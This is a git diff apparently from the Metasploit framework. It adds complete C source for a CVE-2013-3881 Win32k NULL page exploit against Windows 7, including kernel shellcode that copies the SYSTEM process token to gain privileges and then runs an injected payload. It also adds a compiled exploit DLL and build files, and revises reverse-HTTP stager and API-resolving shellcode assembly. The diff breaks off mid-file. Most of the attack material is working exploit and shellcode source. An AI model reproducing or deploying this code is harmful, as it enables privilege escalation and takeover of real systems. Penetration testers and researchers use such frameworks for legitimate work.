diff --git a/.travis.yml b/.travis.yml index 6e4c13c878..6c815d2340 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,9 +1,11 @@ language: ruby +env: MSF_SPOTCHECK_RECENT=1 before_install: - rake --version - sudo apt-get update -qq - sudo apt-get install -qq libpcap-dev before_script: + - ./tools/msftidy.rb - cp config/database.yml.travis config/database.yml - bundle exec rake --version - bundle exec rake db:create diff --git a/data/exploits/cve-2013-3881/cve-2013-3881.x86.dll b/data/exploits/cve-2013-3881/cve-2013-3881.x86.dll new file mode 100755 index 0000000000..6745431ff3 Binary files /dev/null and b/data/exploits/cve-2013-3881/cve-2013-3881.x86.dll differ diff --git a/data/js/detect/os.js b/data/js/detect/os.js index cf8269010f..2f3e5c5a67 100644 --- a/data/js/detect/os.js +++ b/data/js/detect/os.js @@ -184,6 +184,9 @@ window.os_detect.getVersion = function(){ } else if (platform.match(/arm/)) { // Android and maemo arch = arch_armle; + if (navigator.userAgent.match(/android/i)) { + os_flavor = 'Android'; + } } } else if (platform.match(/windows/)) { os_name = oses_windows; diff --git a/data/meterpreter/ext_server_extapi.x64.dll b/data/meterpreter/ext_server_extapi.x64.dll index 90e3ce2a0f..4e3d4728e5 100755 Binary files a/data/meterpreter/ext_server_extapi.x64.dll and b/data/meterpreter/ext_server_extapi.x64.dll differ diff --git a/data/meterpreter/ext_server_extapi.x86.dll b/data/meterpreter/ext_server_extapi.x86.dll index e6f45b768b..e297c627c2 100755 Binary files a/data/meterpreter/ext_server_extapi.x86.dll and b/data/meterpreter/ext_server_extapi.x86.dll differ diff --git a/external/source/exploits/cve-2013-3881/.gitignore b/external/source/exploits/cve-2013-3881/.gitignore new file mode 100644 index 0000000000..7649d7f46b --- /dev/null +++ b/external/source/exploits/cve-2013-3881/.gitignore @@ -0,0 +1,151 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# User-specific files +*.suo +*.user +*.sln.docstates + +# Build results + +[Dd]ebug/ +[Rr]elease/ +x64/ +build/ +[Bb]in/ +[Oo]bj/ + +# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets +!packages/*/build/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +*_i.c +*_p.c +*.ilk +*.meta +*.obj +*.pch +*.pdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.log +*.scc + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opensdf +*.sdf +*.cachefile + +# Visual Studio profiler +*.psess +*.vsp +*.vspx + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# NCrunch +*.ncrunch* +.*crunch*.local.xml + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.Publish.xml +*.pubxml + +# NuGet Packages Directory +## TODO: If you have NuGet Package Restore enabled, uncomment the next line +#packages/ + +# Windows Azure Build Output +csx +*.build.csdef + +# Windows Store app package directory +AppPackages/ + +# Others +sql/ +*.Cache +ClientBin/ +[Ss]tyle[Cc]op.* +~$* +*~ +*.dbmdl +*.[Pp]ublish.xml +*.pfx +*.publishsettings + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file to a newer +# Visual Studio version. Backup files are not needed, because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm + +# SQL Server files +App_Data/*.mdf +App_Data/*.ldf + +# ========================= +# Windows detritus +# ========================= + +# Windows image file caches +Thumbs.db +ehthumbs.db + +# Folder config file +Desktop.ini + +# Recycle Bin used on file shares +$RECYCLE.BIN/ + +# Mac crap +.DS_Store diff --git a/external/source/exploits/cve-2013-3881/cve-2013-3881.sln b/external/source/exploits/cve-2013-3881/cve-2013-3881.sln new file mode 100755 index 0000000000..8887a82024 --- /dev/null +++ b/external/source/exploits/cve-2013-3881/cve-2013-3881.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2013-3881", "cve-2013-3881\cve-2013-3881.vcxproj", "{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.ActiveCfg = Debug|Win32 + {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.Build.0 = Debug|Win32 + {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.ActiveCfg = Release|Win32 + {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.c b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.c new file mode 100755 index 0000000000..9389277e09 --- /dev/null +++ b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.c @@ -0,0 +1,261 @@ +/* + * Exploit Title: CVE-2013-3881 Win32k NULL Page Vulnerability + * Date: February 5, 2014 + * Vulnerability Discovery: Seth Gibson and Dan Zentner of Endgame + * Exploit Author: Spencer McIntyre + * Version: Windows 7 SP0/SP1 + * Tested on: Windows 7 SP0/SP1 + * CVE-2013-3881 MS13-081 + * References: + * http://endgame.com/news/microsoft-win32k-null-page-vulnerability-technical-analysis.html + * http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html + * http://picturoku.blogspot.com/2011/12/bit-away-from-kernel-execution.html + */ + +#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN +#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" + +// Purloined from ntstatus.h +#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth + +#define WIN32_NO_STATUS +#include +#undef WIN32_NO_STATUS + +#ifndef _NTDEF_ +typedef __success(return >= 0) LONG NTSTATUS; +typedef NTSTATUS *PNTSTATUS; +#endif + +#define TABLE_BASE 0xff910000 + +static const char* window_class_name = "PWN_CLASS"; +static HWND window0 = NULL; +static HWND window1 = NULL; +static HDESK desktop = NULL; + +const unsigned char shellcode[] = + "\x33\xc0" // xor eax, eax + "\x64\x8b\x80\x24\x01\x00\x00" // mov eax, fs:[eax+0x124] + "\x8b\x40\x50" // mov eax, ds:[eax+0x50] + "\x8b\xc8" // mov ecx, eax + /* LOOPTHROUGHPROCESSES */ + "\x8b\x80\xb8\x00\x00\x00" // mov eax, ds:[eax+0xb8] + "\x2d\xb8\x00\x00\x00" // sub eax, 0xb8 + "\x83\xb8\xb4\x00\x00\x00\x04" // cmp DWORD PTR ds:[eax+0xb4], 4 + "\x75\xec" // jnz short LOOPTHROUGHPROCESSES + "\x8b\x90\xf8\x00\x00\x00" // mov edx, ds:[eax+0x0f8] + "\x89\x91\xf8\x00\x00\x00" // mov [ecx+0x0f8], edx + /* Epilog Part 1: Uncorrupt HANDLEENTRY */ + "\xbe\x00\x08\x00\x00" // mov esi, 0x0800 + "\x8b\x3e" // mov edi, [esi] + "\x8b\x46\x04" // mov eax, [esi+4] + "\x89\x07" // mov [edi], eax + "\x8b\x46\x08" // mov eax, [esi+8] + "\x89\x47\x04" // mov [edi + 4], eax + "\x8b\x46\x0c" // mov eax, [esi+c] + "\x89\x47\x08" // mov [edi+8], eax + /* Epilog Part 2: Return to xxxTrackPopupMenuEx */ + "\x83\x7c\x24\x58\x00" // cmp DWORD PTR [esp+0x58], 0 + "\x74\x11" // je short sp1 + "\x83\x7c\x24\x5c\x01" // cmp DWORD PTR [esp+0x5c], 1 + "\x75\x0a" // je short sp1 + /* Service Pack 0 */ + "\x83\xc4\x48" // add esp, 0x48 + "\x5f" // pop edi + "\x5e" // pop esi + "\x5b" // pop ebx + "\x5d" // pop ebp + "\xc2\x04\x00" // ret 4 + /* Service Pack 1 */ + "\x83\xc4\x4c" // add esp 0x4c + "\x5f" // pop edi + "\x5e" // pop esi + "\x83\xc4\x0c" // add esp, 0x0c + "\x5d" // pop ebp + "\xc2\x08\x00"; // ret 8 + +typedef struct _HANDLEENTRY { + struct _HEAD *pHead; + void *pOwner; + UINT8 bType; + UINT8 bFlags; + UINT16 wUniq; +} HANDLEENTRY, *PHANDLEENTRY; + +typedef NTSTATUS (NTAPI *lNtAllocateVirtualMemory)( + IN HANDLE ProcessHandle, + IN PVOID *BaseAddress, + IN PULONG ZeroBits, + IN PSIZE_T RegionSize, + IN ULONG AllocationType, + IN ULONG Protect +); + +typedef NTSTATUS (NTAPI *lNtQueryIntervalProfile)( + IN DWORD ProfileSource, + OUT PULONG Interval +); + +LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) { + return DefWindowProc(hwnd, msg, wParam, lParam); +} + +NTSTATUS AllocateNullPage(void) { + HMODULE hNtdll = NULL; + FARPROC pNtAllocateVirtualMemory = NULL; + DWORD base_address = 1; + SIZE_T region_size = 0x1000; + ULONG zero_bits = 0; + HANDLE current_process = NULL; + NTSTATUS status = 0; + + hNtdll = LoadLibraryA("ntdll"); + pNtAllocateVirtualMemory = (lNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory"); + current_process = GetCurrentProcess(); + status = pNtAllocateVirtualMemory(current_process, &base_address, 0, ®ion_size, (MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN), PAGE_EXECUTE_READWRITE); + FreeLibrary(hNtdll); + return status; +} + +PHANDLEENTRY GetAheList(void) { + HMODULE hUser32 = NULL; + HANDLEENTRY **tagSharedInfo = NULL; + + hUser32 = LoadLibraryA("user32"); + tagSharedInfo = (PHANDLEENTRY *)GetProcAddress(hUser32, "gSharedInfo"); + if (tagSharedInfo == NULL) { + return NULL; + } + return (PHANDLEENTRY)*&tagSharedInfo[1]; +} + +DWORD WINAPI TriggerThread0(void *garbage) { + HMENU menu0; + + SetThreadDesktop(desktop); + window0 = CreateWindow(window_class_name, "Window 0", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL); + menu0 = CreatePopupMenu(); + if (AppendMenu(menu0, (MF_STRING | MF_ENABLED), 32001, "test") == 0) { + return 0; + } + TrackPopupMenu(menu0, TPM_CENTERALIGN, 0, 0, 0, window0, NULL); + return 0; +} + +BOOL WINAPI CreateAndRegisterClass(char * class_name) { + WNDCLASSEX wx; + HINSTANCE hInstance = NULL; + + hInstance = (HINSTANCE)GetModuleHandle(NULL); + if (hInstance == NULL) { + return FALSE; + } + + wx.cbSize = sizeof(WNDCLASSEX); + wx.style = 0; + wx.lpfnWndProc = WndProc; + wx.cbClsExtra = 0; + wx.cbWndExtra = 0; + wx.hInstance = hInstance; + wx.hIcon = LoadIcon(NULL, IDI_APPLICATION); + wx.hCursor = LoadCursor(NULL, IDC_ARROW); + wx.hbrBackground = (HBRUSH)(COLOR_WINDOW+1); + wx.lpszMenuName = NULL; + wx.lpszClassName = class_name; + wx.hIconSm = LoadIcon(NULL, IDI_APPLICATION); + + if (RegisterClassEx(&wx) != 0) { + return TRUE; + } + return FALSE; +} + +DWORD WINAPI ExecutePayload(LPVOID lpPayload) { + VOID(*lpCode)() = (VOID(*)())lpPayload; + lpCode(); + return ERROR_SUCCESS; +} + +void Win32kNullPage(LPVOID lpPayload) { + HMENU menu1 = NULL; + HMENU menu2 = NULL; + HANDLE gdi_handle = NULL; + void *promise_land = NULL; + ULONG interval = 0; + PHANDLEENTRY aheList = NULL; + PHANDLEENTRY target_handle = NULL; + DWORD saved_bytes = 0; + + desktop = CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL); + SetThreadDesktop(desktop); + + if (!CreateAndRegisterClass(window_class_name)) { + return; + } + + if (AllocateNullPage() != STATUS_SUCCESS) { + return; + } + *((PDWORD)promise_land + 0) = 0x000004eb; /* jmp 4 */ + *((PDWORD)promise_land + 1) = 0x90909090; /* noooop */ + *((PDWORD)promise_land + 2) = 0x000400b8; /* mov eax, 400 */ + *((PDWORD)promise_land + 3) = 0x90d0ff00; /* call eax */ + *((PDWORD)promise_land + 7) = 0x00; + *((PDWORD)promise_land + 9) = 0x00; + *((PDWORD)promise_land + 12) = 0x00; + *(PDWORD)((PBYTE)promise_land + 0x04eb + 0x04) = (0x0200 - 4); + *(PDWORD)((PBYTE)promise_land + 0x04eb + 0x08) = (0x0200 - 4); + memcpy((PDWORD)promise_land + 256, shellcode, sizeof(shellcode)); + + window1 = CreateWindow(window_class_name, "Window 1", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL); + menu1 = CreatePopupMenu(); + menu2 = CreateMenu(); + SetMenu(window1, menu2); + DestroyMenu(menu2); + + aheList = GetAheList(); + *((PDWORD)promise_land + 127) = ((DWORD)menu2 & 0xffff); + *((PDWORD)promise_land + 128) = 0x01; + *((PDWORD)promise_land + 129) = ((((DWORD)menu2 & 0xffff) * 12) + TABLE_BASE + 5) - 0x0104; + + target_handle = &aheList[((DWORD)menu2 & 0xffff)]; + *((PDWORD)promise_land + 512) = ((((DWORD)menu2 & 0xffff) * 12) + TABLE_BASE); + memcpy((PDWORD)promise_land + 513, target_handle, sizeof(HANDLEENTRY)); + + if (AppendMenu(menu1, (MF_STRING | MF_ENABLED), 32001, "test") == 0) { + return; + } + + do { + gdi_handle = CreateMetaFile(NULL); + } while (gdi_handle != NULL); + + CreateThread(NULL, 0, TriggerThread0, NULL, 0, 0); + Sleep(500); + TrackPopupMenu(menu1, TPM_CENTERALIGN, 0, 0, 0, window1, NULL); + CreateThread(0, 0, ExecutePayload, lpPayload, 0, NULL); + return; +} + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) { + BOOL bReturnValue = TRUE; + switch (dwReason) { + case DLL_QUERY_HMODULE: + hAppInstance = hinstDLL; + if (lpReserved != NULL) { + *(HMODULE *)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + Win32kNullPage(lpReserved); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +}; diff --git a/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj new file mode 100755 index 0000000000..634f972b10 --- /dev/null +++ b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj @@ -0,0 +1,85 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + + {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B} + cve20133881 + + + + DynamicLibrary + true + false + MultiByte + v120 + + + DynamicLibrary + false + false + MultiByte + v120 + + + + + + + + + + + + + ../../../ReflectiveDLLInjection/common;$(IncludePath) + + + ../../../ReflectiveDLLInjection/common;$(IncludePath) + + + + CompileAsC + Level3 + Disabled + true + true + MultiThreaded + + + true + true + $(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt) + + + + + CompileAsC + Level3 + Disabled + true + true + Default + MultiThreaded + + + false + true + $(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt) + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2013-3881/make.msbuild b/external/source/exploits/cve-2013-3881/make.msbuild new file mode 100644 index 0000000000..688fd5ed4c --- /dev/null +++ b/external/source/exploits/cve-2013-3881/make.msbuild @@ -0,0 +1,17 @@ + + + + .\cve-2013-3881.sln + + + + + + + + + + + + + diff --git a/external/source/exploits/make.bat b/external/source/exploits/make.bat index 6981f1f155..622b0f946a 100755 --- a/external/source/exploits/make.bat +++ b/external/source/exploits/make.bat @@ -40,6 +40,13 @@ IF "%ERRORLEVEL%"=="0" ( POPD ) +IF "%ERRORLEVEL%"=="0" ( + ECHO "Building CVE-2013-3881 (win32k_null_page)" + PUSHD CVE-2013-3881 + msbuild.exe make.msbuild /target:%PLAT% + POPD +) + FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6% echo Finished %ldt% diff --git a/external/source/shellcode/windows/x86/build.py b/external/source/shellcode/windows/x86/build.py index 31eaa848c8..93e1bf59b5 100644 --- a/external/source/shellcode/windows/x86/build.py +++ b/external/source/shellcode/windows/x86/build.py @@ -1,124 +1,128 @@ -#=============================================================================# -# A simple python build script to build the singles/stages/stagers and -# some usefull information such as offsets and a hex dump. The binary output -# will be placed in the bin directory. A hex string and usefull comments will -# be printed to screen. -# -# Example: -# >python build.py stager_reverse_tcp_nx -# -# Example, to build everything: -# >python build.py all > build_output.txt -# -# Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) -#=============================================================================# -import os, sys, time -from subprocess import Popen -from struct import pack -#=============================================================================# -def clean( dir="./bin/" ): - for root, dirs, files in os.walk( dir ): - for name in files: - os.remove( os.path.join( root, name ) ) -#=============================================================================# -def locate( src_file, dir="./src/" ): - for root, dirs, files in os.walk( dir ): - for name in files: - if src_file == name: - return root - return None -#=============================================================================# -def build( name ): - location = locate( "%s.asm" % name ) - if location: - input = os.path.normpath( os.path.join( location, name ) ) - output = os.path.normpath( os.path.join( "./bin/", name ) ) - p = Popen( ["nasm", "-f bin", "-O3", "-o %s.bin" % output, "%s.asm" % input ] ) - p.wait() - xmit( name ) - else: - print "[-] Unable to locate '%s.asm' in the src directory" % name -#=============================================================================# -def xmit_dump_ruby( data, length=16 ): - dump = "" - for i in xrange( 0, len( data ), length ): - bytes = data[ i : i+length ] - hex = "\"%s\"" % ( ''.join( [ "\\x%02X" % ord(x) for x in bytes ] ) ) - if i+length <= len(data): - hex += " +" - dump += "%s\n" % ( hex ) - print dump -#=============================================================================# -def xmit_offset( data, name, value ): - offset = data.find( value ); - if offset != -1: - print "# %s Offset: %d" % ( name, offset ) -#=============================================================================# -def xmit( name, dump_ruby=True ): - bin = os.path.normpath( os.path.join( "./bin/", "%s.bin" % name ) ) - f = open( bin, 'rb') - data = f.read() - print "# Name: %s\n# Length: %d bytes" % ( name, len( data ) ) - xmit_offset( data, "Port", pack( ">H", 4444 ) ) # 4444 - xmit_offset( data, "LEPort", pack( "L", 0x7F000001 ) ) # 127.0.0.1 - xmit_offset( data, "IPv6Host", pack( "H", 0x1122 ) ) # Egg tag size - xmit_offset( data, "RC4Key", "RC4KeyMetasploit") # RC4 key - xmit_offset( data, "XORKey", "XORK") # XOR key - if( name.find( "egghunter" ) >= 0 ): - null_count = data.count( "\x00" ) - if( null_count > 0 ): - print "# Note: %d NULL bytes found." % ( null_count ) - if dump_ruby: - xmit_dump_ruby( data ) #=============================================================================# -def main( argv=None ): - if not argv: - argv = sys.argv - try: - if len( argv ) == 1: - print "Usage: build.py [clean|all|]" - else: - print "# Built on %s\n" % ( time.asctime( time.localtime() ) ) - if argv[1] == "clean": - clean() - elif argv[1] == "all": - for root, dirs, files in os.walk( "./src/egghunter/" ): - for name in files: - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/migrate/" ): - for name in files: - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/single/" ): - for name in files: - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/stage/" ): - for name in files: - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/stager/" ): - for name in files: - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/kernel/" ): - for name in files: - build( name[:-4] ) - else: - build( argv[1] ) - except Exception, e: - print "[-] ", e -#=============================================================================# -if __name__ == "__main__": - main() +# A simple python build script to build the singles/stages/stagers and +# some usefull information such as offsets and a hex dump. The binary output +# will be placed in the bin directory. A hex string and usefull comments will +# be printed to screen. +# +# Example: +# >python build.py stager_reverse_tcp_nx +# +# Example, to build everything: +# >python build.py all > build_output.txt +# +# Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) #=============================================================================# +import os, sys, time +from subprocess import Popen +from struct import pack +#=============================================================================# +def clean( dir="./bin/" ): + for root, dirs, files in os.walk( dir ): + for name in files: + os.remove( os.path.join( root, name ) ) +#=============================================================================# +def locate( src_file, dir="./src/" ): + for root, dirs, files in os.walk( dir ): + for name in files: + if src_file == name: + return root + return None +#=============================================================================# +def build( name ): + location = locate( "%s.asm" % name ) + if location: + input = os.path.normpath( os.path.join( location, name ) ) + output = os.path.normpath( os.path.join( "./bin/", name ) ) + p = Popen( ["nasm", "-f bin", "-O3", "-o %s.bin" % output, "%s.asm" % input ] ) + p.wait() + xmit( name ) + else: + print "[-] Unable to locate '%s.asm' in the src directory" % name + +#=============================================================================# +def xmit_dump_ruby( data, length=16 ): + dump = "" + for i in xrange( 0, len( data ), length ): + bytes = data[ i : i+length ] + hex = "\"%s\"" % ( ''.join( [ "\\x%02X" % ord(x) for x in bytes ] ) ) + if i+length <= len(data): + hex += " +" + dump += "%s\n" % ( hex ) + print dump + +#=============================================================================# +def xmit_offset( data, name, value, match_offset=0 ): + offset = data.find( value ); + if offset != -1: + print "# %s Offset: %d" % ( name, offset + match_offset ) + +#=============================================================================# +def xmit( name, dump_ruby=True ): + bin = os.path.normpath( os.path.join( "./bin/", "%s.bin" % name ) ) + f = open( bin, 'rb') + data = f.read() + print "# Name: %s\n# Length: %d bytes" % ( name, len( data ) ) + xmit_offset( data, "Port", pack( ">H", 4444 ) ) # 4444 + xmit_offset( data, "LEPort", pack( "L", 0x7F000001 ) ) # 127.0.0.1 + xmit_offset( data, "IPv6Host", pack( "H", 0x1122 ) ) # Egg tag size + xmit_offset( data, "RC4Key", "RC4KeyMetasploit") # RC4 key + xmit_offset( data, "XORKey", "XORK") # XOR key + if( name.find( "egghunter" ) >= 0 ): + null_count = data.count( "\x00" ) + if( null_count > 0 ): + print "# Note: %d NULL bytes found." % ( null_count ) + if dump_ruby: + xmit_dump_ruby( data ) + +#=============================================================================# +def main( argv=None ): + if not argv: + argv = sys.argv + try: + if len( argv ) == 1: + print "Usage: build.py [clean|all|]" + else: + print "# Built on %s\n" % ( time.asctime( time.localtime() ) ) + if argv[1] == "clean": + clean() + elif argv[1] == "all": + for root, dirs, files in os.walk( "./src/egghunter/" ): + for name in files: + build( name[:-4] ) + for root, dirs, files in os.walk( "./src/migrate/" ): + for name in files: + build( name[:-4] ) + for root, dirs, files in os.walk( "./src/single/" ): + for name in files: + build( name[:-4] ) + for root, dirs, files in os.walk( "./src/stage/" ): + for name in files: + build( name[:-4] ) + for root, dirs, files in os.walk( "./src/stager/" ): + for name in files: + build( name[:-4] ) + for root, dirs, files in os.walk( "./src/kernel/" ): + for name in files: + build( name[:-4] ) + else: + build( argv[1] ) + except Exception, e: + print "[-] ", e +#=============================================================================# +if __name__ == "__main__": + main() +#=============================================================================# diff --git a/external/source/shellcode/windows/x86/src/block/block_api.asm b/external/source/shellcode/windows/x86/src/block/block_api.asm index 2acc13ddec..3b7a85d82e 100644 --- a/external/source/shellcode/windows/x86/src/block/block_api.asm +++ b/external/source/shellcode/windows/x86/src/block/block_api.asm @@ -23,7 +23,7 @@ api_call: mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list next_mod: ; mov esi, [edx+40] ; Get pointer to modules name (unicode string) - movzx ecx, word [edx+38] ; Set ECX to the length we want to check + movzx ecx, word [edx+38] ; Set ECX to the length we want to check xor edi, edi ; Clear EDI which will store the hash of the module name loop_modname: ; xor eax, eax ; Clear EAX @@ -34,22 +34,25 @@ loop_modname: ; not_lowercase: ; ror edi, 13 ; Rotate right our hash value add edi, eax ; Add the next byte of the name - loop loop_modname ; Loop untill we have read enough + loop loop_modname ; Loop until we have read enough + ; We now have the module hash computed push edx ; Save the current position in the module list for later push edi ; Save the current module hash for later - ; Proceed to itterate the export address table, + ; Proceed to iterate the export address table, mov edx, [edx+16] ; Get this modules base address mov eax, [edx+60] ; Get PE header - add eax, edx ; Add the modules base address - mov eax, [eax+120] ; Get export tables RVA - test eax, eax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add eax, edx ; Add the modules base address - push eax ; Save the current modules EAT - mov ecx, [eax+24] ; Get the number of function names - mov ebx, [eax+32] ; Get the rva of the function names + + ; use ecx as our EAT pointer here so we can take advantage of jecxz. + mov ecx, [eax+edx+120] ; Get the EAT from the PE header + jecxz get_next_mod1 ; If no EAT present, process the next module + add ecx, edx ; Add the modules base address + push ecx ; Save the current modules EAT + mov ebx, [ecx+32] ; Get the rva of the function names add ebx, edx ; Add the modules base address + mov ecx, [ecx+24] ; Get the number of function names + ; now ecx returns to its regularly scheduled counter duties + ; Computing the module hash + function hash get_next_func: ; jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module @@ -66,14 +69,15 @@ loop_funcname: ; cmp al, ah ; Compare AL (the next byte from the name) to AH (null) jne loop_funcname ; If we have not reached the null terminator, continue add edi, [ebp-8] ; Add the current module hash to the function hash - cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for + cmp edi, [ebp+36] ; Compare the hash to the one we are searching for jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... pop eax ; Restore the current modules EAT - mov ebx, [eax+36] ; Get the ordinal table rva + mov ebx, [eax+36] ; Get the ordinal table rva add ebx, edx ; Add the modules base address mov cx, [ebx+2*ecx] ; Get the desired functions ordinal - mov ebx, [eax+28] ; Get the function addresses table rva + mov ebx, [eax+28] ; Get the function addresses table rva add ebx, edx ; Add the modules base address mov eax, [ebx+4*ecx] ; Get the desired functions RVA add eax, edx ; Add the modules base address to get the functions actual VA @@ -88,10 +92,11 @@ finish: push ecx ; Push back the correct return value jmp eax ; Jump into the required function ; We now automagically return to the correct caller... + get_next_mod: ; pop eax ; Pop off the current (now the previous) modules EAT get_next_mod1: ; pop edi ; Pop off the current (now the previous) modules hash pop edx ; Restore our position in the module list mov edx, [edx] ; Get the next module - jmp short next_mod ; Process this module \ No newline at end of file + jmp short next_mod ; Process this module diff --git a/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm b/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm index 42c717622a..20c4f643e6 100644 --- a/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm +++ b/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm @@ -6,6 +6,25 @@ ;-----------------------------------------------------------------------------; [BITS 32] +%ifdef ENABLE_SSL +%define HTTP_OPEN_FLAGS ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 | 0x00800000 | 0x00002000 | 0x00001000 ) + ;0x80000000 | ; INTERNET_FLAG_RELOAD + ;0x04000000 | ; INTERNET_NO_CACHE_WRITE + ;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION + ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT + ;0x00000200 | ; INTERNET_FLAG_NO_UI + ;0x00800000 | ; INTERNET_FLAG_SECURE + ;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID + ;0x00001000 ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID +%else +%define HTTP_OPEN_FLAGS ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 ) + ;0x80000000 | ; INTERNET_FLAG_RELOAD + ;0x04000000 | ; INTERNET_NO_CACHE_WRITE + ;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION + ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT + ;0x00000200 ; INTERNET_FLAG_NO_UI +%endif + ; Input: EBP must be the address of 'api_call'. ; Output: EDI will be the socket for the connection to the server ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) @@ -16,65 +35,74 @@ load_wininet: push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) call ebp ; LoadLibraryA( "wininet" ) + xor ebx,ebx + internetopen: - xor edi,edi - push edi ; DWORD dwFlags - push edi ; LPCTSTR lpszProxyBypass - push edi ; LPCTSTR lpszProxyName - push edi ; DWORD dwAccessType (PRECONFIG = 0) - push byte 0 ; NULL pointer - push esp ; LPCTSTR lpszAgent ("\x00") + push ebx ; DWORD dwFlags + push ebx ; LPCTSTR lpszProxyBypass (NULL) + push ebx ; LPCTSTR lpszProxyName (NULL) + push ebx ; DWORD dwAccessType (PRECONFIG = 0) + push ebx ; LPCTSTR lpszAgent (NULL) push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) call ebp - jmp short dbl_get_server_host - internetconnect: - pop ebx ; Save the hostname pointer - xor ecx, ecx - push ecx ; DWORD_PTR dwContext (NULL) - push ecx ; dwFlags + push 